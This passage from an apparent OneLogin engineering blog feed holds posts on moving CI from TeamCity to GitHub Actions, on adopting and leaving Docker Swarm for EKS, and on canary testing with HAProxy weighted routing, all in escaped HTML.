#F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;aws&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;configure&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;beta1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;docker&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;registry&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;login&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;beta1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;prepare&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;registry&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;beta2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;ike&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;build&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;beta2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;static&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;code&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;analysis&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;beta2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;ike&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;test&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;beta2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;  	-&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#6F42C1, #B392F0);&quot;&gt; uses&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span&gt; .&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;onelogin&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;platform&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;actions&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;ike&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;image&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt;push&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;v1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#D73A49, #F97583);&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;beta2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#032F62, #9ECBFF);&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;With a new workflow ready, the next major hurdle is to migrate projects from TeamCity to GitHub Actions.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-great-migration-to-github-actions&quot;&gt;The Great Migration to GitHub Actions&lt;&#x2F;h2&gt;
&lt;p&gt;Migrating 50+ repositories from TeamCity to GitHub Actions was not going to be easy. Automating the roll out would have been the easiest strategy to make the switch, but as the owner of this initiative, I felt it was important to live up to OneLogin’s core value, collaboration. We worked with the managers and directors of the engineering teams to carry out the migration.
As engineers were delegated the responsibility of migrating their services from TeamCity to GitHub Actions, we held office hours to give engineers a chance to see the new workflow in action as well as ask questions about how the workflow works. When engineers saw how concise the new workflow was thanks to the abstractions provided by composite actions in a centralized repository, the task of migrating a project from TeamCity to GitHub Actions was less daunting. It took all of Q4 (Oct-Dec for OneLogin) to start and finish the migration.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;epilogue&quot;&gt;Epilogue&lt;&#x2F;h2&gt;
&lt;p&gt;The approach to doing CI will not always look the same for every organization. Some companies have dedicated teams to build CI solutions. At OneLogin, we needed a solution that would allow engineering teams to feel empowered to handle CI themselves so that the Platform team could focus on its main mission of improving the reliability of the OneLogin product.
Thank you so much for taking the time to read my blog!&lt;&#x2F;p&gt;
&lt;style&gt;
:not(.prettyprint)&gt;code span {
  color: #ccc;
}
&lt;&#x2F;style&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>The Life &amp; Death of Swarm @ OneLogin</title>
        <published>2021-10-08T00:00:00+00:00</published>
        <updated>2021-10-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/life-death-of-swarm/"/>
        <id>https://developers.onelogin.com/blog/life-death-of-swarm/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/life-death-of-swarm/">&lt;p&gt;In August of 2016, OneLogin was growing at a rapid pace by increasing revenue, hiring more staff, and offering new services. OneLogin has always innovated at lightning speed, but we were hitting a bottleneck with service configuration, monitoring setup, instance provisioning, and operational backlogs. This meant getting new services to production would take months after they were ready to ship. These challenges lead us to launching our containerization effort. I teamed up with one of our engineers, Arun, on the project. Our bosses served us up as sacrificial lambs, as we were assigned no other resources and the requirements were vague: “We need to start using Docker.” So was born our #docker Slack channel (now renamed after our internal developer tool, &lt;em&gt;ike.&lt;&#x2F;em&gt; Oddly, Slack doesn’t keep the original channel names when viewing the history).
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_slack_1.png&quot; width=&quot;&quot; alt=&quot;2016 Slack channel creation for Docker&quot;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;a-sprint-for-adoption&quot;&gt;A Sprint for Adoption&lt;&#x2F;h2&gt;
&lt;p&gt;We started with the basics - we got a registry set up and began to push images to it. Arun and I decided the path of least resistance was to spin up a self-hosted registry to avoid going through a lengthy security and compliance review process for managed services, like &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hub.docker.com&#x2F;&quot;&gt;Docker Hub&lt;&#x2F;a&gt; or &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aws.amazon.com&#x2F;ecr&#x2F;&quot;&gt;AWS’s ECR&lt;&#x2F;a&gt;. A few days later, we had a working v1 and started creating Dockerfiles in a few core repositories.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_slack_2.png&quot; width=&quot;&quot; alt=&quot;2016 private docker repository setup&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In January 2017, we had our first commit that contained a MASSIVE docker-compose.yml file to our docker repository. This repository would later become the primary repository for all of our docker tooling. The giant compose file contained all of our service definitions in a single stack. With only a &lt;code&gt;docker-compose up&lt;&#x2F;code&gt; command, we had our entire environment running locally. It was a big first step, and aside from our laptops sounding like airplanes, we were happy with the results.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_github_1.png&quot; width=&quot;&quot; alt=&quot;First commit&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As April arrived, Arun and I were fielding questions from almost every team about local setups, building images, CI, networking, and so on. We were reaching a critical mass as nearly everyone in the engineering org was using some form of Docker. Arun and I continued to add Dockerfiles and Makefiles to all the service repositories and get builds set up in our &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.jetbrains.com&#x2F;teamcity&#x2F;&quot;&gt;TeamCity&lt;&#x2F;a&gt;, our then CI.
In May, one of our engineering leaders, Tomas, my now boss, was working with his team to spin up a new service. He offered the service as the first to go to production in a container.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_slack_3.png&quot; width=&quot;&quot; alt=&quot;2017 New Docker service&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The engineering and TechOps team ultimately decided not to ship this service in a container, as we hadn’t yet settled on the orchestrator we would use in production. They proceeded with static EC2 instances behind an ELB. Once the service was ready to be shipped to production to start beta testing, we faced two months of configuration problems, operational backlogs, and resource constraints. In late July we deployed the service in our legacy EC2&#x2F;ELB deployment model as opposed to Swarm.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_slack_4.png&quot; width=&quot;&quot; alt=&quot;2017 Slack communication for deploying a new service&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Why did it take so long?&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;The deployment model had very siloed work boundaries. 
&lt;li&gt;Developers didn&#x27;t have read&#x2F;write access to the configuration management or IaC repos. 
&lt;li&gt;The Operations team didn&#x27;t touch the CI components and had a large backlog for compute provisioning. 
&lt;li&gt;As the gatekeeper for deploy jobs, Release Management had their own backlog for creating and running release tests. 
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;No single person or team could be the owner from start to finish. It was not one person’s fault but years of uncoordinated and fragmented decisions that led to this state. Removing all the overhead and bottlenecks of the current processes was what we intended to resolve with shipping containers to production.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-orchestration-arms-race&quot;&gt;The Orchestration Arms Race&lt;&#x2F;h2&gt;
&lt;p&gt;As we approached August, we finally landed on which orchestrator to use. There were a few facets to this decision. Few people in the company were familiar with Docker or containers, so we needed a solution that would provide the least friction for every team involved. We wanted teams to have autonomy for their service’s life cycle, including configuration. Our Operations team was already overwhelmed with our current infrastructure, so adding a large burden to the team wasn’t going to fly. With these things in mind, we quickly eliminated a self-hosted &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;&quot;&gt;Kubernetes&lt;&#x2F;a&gt; cluster due to the overall complexity. We considered &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;aws.amazon.com&#x2F;ecs&#x2F;&quot;&gt;AWS’s ECS&lt;&#x2F;a&gt;, but it wasn’t clear how we would map it to our development environments. In addition, we were working with another Cloud Provider at the time, so we took vendor lock-in decisions off the table. &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.docker.com&#x2F;engine&#x2F;swarm&#x2F;&quot;&gt;Docker Swarm&lt;&#x2F;a&gt; ended up being our orchestrator of choice. It offered the least amount of overhead to get started, and even with the significant gaps in functionality compared to other orchestrators, we felt we could easily work through those . The arms race between the different orchestrators meant development was happening rapidly across them all. And we felt Swarm had good traction and following within the developer community at the time.
Concurrently, Tomas’s team was working on another service, but this time wanted it only running in Swarm. Other teams had large backlogs for shipping their new services, and Tomas knew going that route again would be detrimental. So we began the charge of containers in production!
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_slack_5.png&quot; width=&quot;&quot; alt=&quot;2017 communication around struggles with legacy deploy&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;One of the many challenges we faced was how we were going to deploy through all the different stages and still maintain our goal of a consistent interface across environments. No tool perfectly fit our use case so we decided to build our own. The first iteration was called &lt;code&gt;ik&lt;&#x2F;code&gt; (later changed to &lt;code&gt;ike&lt;&#x2F;code&gt;). The CLI abstracted the configuration and docker commands so everyone in the organization would use the same commands across every environment.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_slack_6.png&quot; width=&quot;&quot; alt=&quot;2017 first iteration on the swarm CLI tool&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;After multiple iterations in staging and working out the kinks in the cluster deployments, we finally shipped containers to production. Things were NOT perfect, and we still had to work out autoscaling, resource constraints, and configuration templating, but it represented a major milestone in our containerization journey.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_slack_7.png&quot; width=&quot;&quot; alt=&quot;2017 successful deployment announcement of swarm&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Over the next two years, dozens of engineers would help build out our containerization story. The teams developed configuration tooling, autoscaling of underlying compute resources, a custom Swarm service auto scaling tool, resource planning dashboards, cluster management tooling, the list goes on. Our Platform organization was moving at full speed to remove obstacles for our service teams. By October 30th, 2019, we had over 1,300 containers running in production.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_datadog_containers_1.png&quot; width=&quot;&quot; alt=&quot;Container counts in production&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;As the end of 2019 arrived, we heard what we anticipated was coming: &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.mirantis.com&#x2F;company&#x2F;press-center&#x2F;company-news&#x2F;mirantis-acquires-docker-enterprise&#x2F;&quot;&gt;Docker was acquired by Mirantis, and Swarm’s EOL announcement&lt;&#x2F;a&gt;:
&lt;em&gt;“The primary orchestrator going forward is Kubernetes. Mirantis is committed to providing an excellent experience to all Docker Enterprise platform customers and currently expects to support Swarm for at least two years, depending on customer input into the roadmap. Mirantis is also evaluating options for making the transition to Kubernetes easier for Swarm users.”&lt;&#x2F;em&gt;
Since then, &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.mirantis.com&#x2F;blog&#x2F;mirantis-will-continue-to-support-and-develop-docker-swarm&#x2F;&quot;&gt;Mirantis backed away from the Swarm deprecation comment&lt;&#x2F;a&gt;, but we decided it was time to jump ship. Many of our original requirements for Swarm no longer applied. The Platform team set a 2020 goal to operate, with no significant manual intervention, at 10x our scale. We didn’t think Swarm would help us achieve that, especially as development on their open-source software slowed. Mirantis’s announcement presented the perfect opportunity to re-evaluate our orchestrator moving forward.
The next phase came with the usual challenges that occur during significant architectural changes—business requirements, operational overhead, tooling upgrades or changes, resourcing, training, etc. But in March of 2020, evaluation kicked off in the search for a new orchestration platform.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_slack_8.png&quot; width=&quot;&quot; alt=&quot;Evaluation of orchestration tool&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We selected AWS’s EKS, and &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;fluxcd.io&#x2F;&quot;&gt;Flux&lt;&#x2F;a&gt; was chosen for the GitOps automation operator. The Platform team notified the engineering teams that all Swarm clusters would be decommissioned.
Now, we are just completing our migration to run all our production workloads in EKS. So far, things have been going smoothly, and our teams are enjoying a more self-sufficient operating mode. There is a significant learning curve, but moving the operational overhead to a managed service like EKS frees up more time for driving other critical platform initiatives. Today, we’re running more than 7,000 containers in our production clusters, and that number grows by the day.
Year-over-year graphs:
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_datadog_containers_2.png&quot; width=&quot;&quot; alt=&quot;Year-over-year containers in production&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Year 1 (We didn’t start using Datadog until we were a few months into shipping containers in production.  This graph doesn’t reflect the full history.)
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_datadog_containers_3.png&quot; width=&quot;&quot; alt=&quot;First year container count in production&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Year 2
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_datadog_containers_1.png&quot; width=&quot;&quot; alt=&quot;Year 2 container count in production&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Year 3
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_datadog_containers_4.png&quot; width=&quot;&quot; alt=&quot; Year 3 container count in production&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Year 4
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;docker_datadog_containers_5.png&quot; width=&quot;&quot; alt=&quot;Year 4 container count in production&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;There is a never-ending evolution in technology and every organization must keep up to survive. As Stefan Zier from SumoLogic puts it “systems are in a constant state of migration.” Our journey with containers started four years ago and is still evolving due to changes in both needs and requirements for the business and the platform. Having the foresight on when to start the next phase of evolution requires careful evaluation and constant reflection.
If you’d like to be a part of OneLogin’s next phase of evolution, check out our &lt;a rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.onelogin.com&#x2F;company&#x2F;careers&#x2F;departments&#x2F;engineering&quot;&gt;open roles&lt;&#x2F;a&gt;!&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Canary testing @ OneLogin</title>
        <published>2021-09-23T00:00:00+00:00</published>
        <updated>2021-09-23T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://developers.onelogin.com/blog/canary-testing/"/>
        <id>https://developers.onelogin.com/blog/canary-testing/</id>
        
        <content type="html" xml:base="https://developers.onelogin.com/blog/canary-testing/">&lt;p&gt;This blog is a practical guide describing how we implemented canary testing to improve the quality of our cloud-based service. It presents a solution we successfully used at OneLogin for two years and points out the pros and cons of our solution.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;what-is-canary-testing&quot;&gt;What is canary testing&lt;&#x2F;h2&gt;
&lt;p&gt;Canary testing is a technique to gradually roll out a change to your users. You start with a small subset of users and monitor its operation. When no issues are observed on this small sample, you increase the number of targeted users over time and eventually all users get the new code. Using this technique you lower the risk of deploying bad code to all users and breaking your service for all users.
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;canary-test.jpg&quot; width=&quot;&quot; alt=&quot;How canary testing works&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Canary testing is an addition to other testing practices - unit, integration and end-to-end testing. When you discover an issue in canary testing, it means that some customers were affected. It is better than having it affect all customers; however, you should thoroughly test your code before putting it into canary testing.
Anyway, even with good test coverage, canary testing remains a valuable tool. Firstly, development and staging environments often don’t fully match production environments. Hence, canary testing can detect issues that may not have been found when testing in other environments. Secondly, there could be some “edge cases” or “unpredictable scenarios” that no-one has thought of during regular testing.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;our-solution&quot;&gt;Our solution&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;canary-cluster&quot;&gt;Canary cluster&lt;&#x2F;h3&gt;
&lt;p&gt;We decided to create a standalone canary cluster (orchestrated docker containers) in our production environment. It was created as a separate cluster to make sure that any misbehaving component from a canary test won’t affect services in the production cluster. (This allows us to test not only a new version of any of our services, but to test infrastructure changes as well with canary testing.)
&lt;img src=&quot;&#x2F;assets&#x2F;img&#x2F;og&#x2F;canary-test-cluster.jpg&quot; width=&quot;&quot; alt=&quot;Standalone canary cluster and primary cluster in production environment&quot;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Note that the canary cluster is an exact copy of the primary cluster (ordinary handling production traffic), and there are all mandatory components&#x2F;services such as an autoscaler or service agents for collecting metrics and logs. On the other hand, services in canary share databases with the primary cluster (operates with the same data).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;routing-canary-traffic&quot;&gt;Routing canary traffic&lt;&#x2F;h3&gt;
&lt;p&gt;The next step was to update HAProxy configuration (we use HAProxy as an edge proxy for routing of our HTTP traffic) to support routing traffic to the canary cluster. For instance, to add support for canary testing of foo-service (imagine that foo-service provides HTTP REST API for our users), we have following configuration in HAProxy config:&lt;&#x2F;p&gt;
&lt;pre class=&quot;prettyprint&quot;&gt;acl foo-service path_beg &#x2F;foo
use_backend be_foo_service if foo-service

backend be_foo_service
 balance roundrobin
 cookie foo_canary_&lt;suffix&gt; insert indirect nocache domain .yourdomain.com
 server server1 primary-cluster.placeholder.net:443 ... weight 100 cookie true
 server server2 canary-cluster.prod.placeholder.net:443 ... weight 0 cookie false
&lt;&#x2F;pre&gt;
&lt;p&gt;With this configuration in place, any request for foo-service is routed into either primary or canary cluster based on the associated weight.
Note that foo-service handles all requests having “&#x2F;foo” prefix in its URL and there is a dedicated HAProxy backend rule for this service in HAProxy config. The backend for foo-service has two servers registered - one for canary traffic and a second for primary traffic. By adjusting weights for those servers, we are able to control what percentage of traffic will go to the canary cluster.
For instance, when you set the weight for primary-cluster to 90 and for canary-cluster to 10, then HAProxy sends 10% of traffic for a given service into the canary cluster. Note: We have an independent configuration of canary testing for every (micro)service.
